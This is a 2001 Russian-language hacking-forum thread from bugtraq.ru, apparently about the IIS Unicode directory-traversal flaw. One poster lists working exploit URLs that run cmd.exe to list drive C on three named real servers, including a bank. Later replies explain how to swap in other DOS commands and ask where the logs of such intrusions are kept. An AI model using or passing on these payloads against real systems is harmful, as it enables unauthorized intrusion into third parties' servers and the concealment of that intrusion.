информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Все любят медСетевые кракеры и правда о деле ЛевинаГде водятся OGRы
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Массовый взлом SharePoint 
 Microsoft Authenticator прекращает... 
 Очередное исследование 19 миллиардов... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / hacking
Имя Пароль
если вы видите этот текст, отключите в настройках форума использование JavaScript
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
нафига же ты туда тогда полез? 24.10.01 16:21  Число просмотров: 938
Автор: Raver Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> "чего ж ты выпендривался, если летать не умеешь?" (с)
> Анекдот
а я не выпендривался, мне просто делать нечего было....ради интереса....
<hacking>
а-ля =welcome to unicode hack=.. 22.10.01 20:29  
Автор: Raver Статус: Незарегистрированный пользователь
<"чистая" ссылка>
www.partner-v.ru/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

risbank.spb.ru/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

www.alkor94.kz/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

а-ля взлом IIS...
а-ля =welcome to unicode hack=.. 23.10.01 01:32  
Автор: -boncho- Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> www.partner-v.ru/_vti_bin/..%c0%af../..%c0%af../..%c0%af../
> winnt/system32/cmd.exe?/c+dir+c:\
>
> risbank.spb.ru/_vti_bin/..%c0%af../..%c0%af../..%c0%af../wi
> nnt/system32/cmd.exe?/c+dir+c:\
>
> www.alkor94.kz/_vti_bin/..%c0%af../..%c0%af../..%c0%af../wi
> nnt/system32/cmd.exe?/c+dir+c:\
>
> а-ля взлом IIS...

а как здесь другие команды кроме dir использовать?
а-ля =welcome to unicode hack=.. 23.10.01 02:09  
Автор: ud Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> а как здесь другие команды кроме dir использовать?
гык +copy+file1+file2 и тд стандартные дос команды...
вот только...
1 - юникод это неспортивно
2 - раз серваки досих пор уязвимы,значит на них уже побывала туча народу.
3 - 2Raver - это не слишком хороший способ зачищать после себя логи (с моральной точки зрения)
а-ля =welcome to unicode hack=.. 23.10.01 15:10  
Автор: Raver Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> > а как здесь другие команды кроме dir использовать?
> гык +copy+file1+file2 и тд стандартные дос команды...
> вот только...
> 1 - юникод это неспортивно
> 2 - раз серваки досих пор уязвимы,значит на них уже
> побывала туча народу.
> 3 - 2Raver - это не слишком хороший способ зачищать после
> себя логи (с моральной точки зрения)

Да, согласен....
А ты не сожешь сказать вообще в какие места бросаются логи или куда могут, если использовать unicode?
нафига же ты туда тогда полез? 23.10.01 21:40  
Автор: ZaDNiCa <indeed ZaDNiCa> Статус: Elderman
<"чистая" ссылка>
"чего ж ты выпендривался, если летать не умеешь?" (с) Анекдот
нафига же ты туда тогда полез? 24.10.01 16:21  
Автор: Raver Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> "чего ж ты выпендривался, если летать не умеешь?" (с)
> Анекдот
а я не выпендривался, мне просто делать нечего было....ради интереса....
здесь описано http://www.uinc.ru/articles/zametki/007.shtml 25.10.01 04:05  
Автор: grok Статус: Незарегистрированный пользователь
<"чистая" ссылка>
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach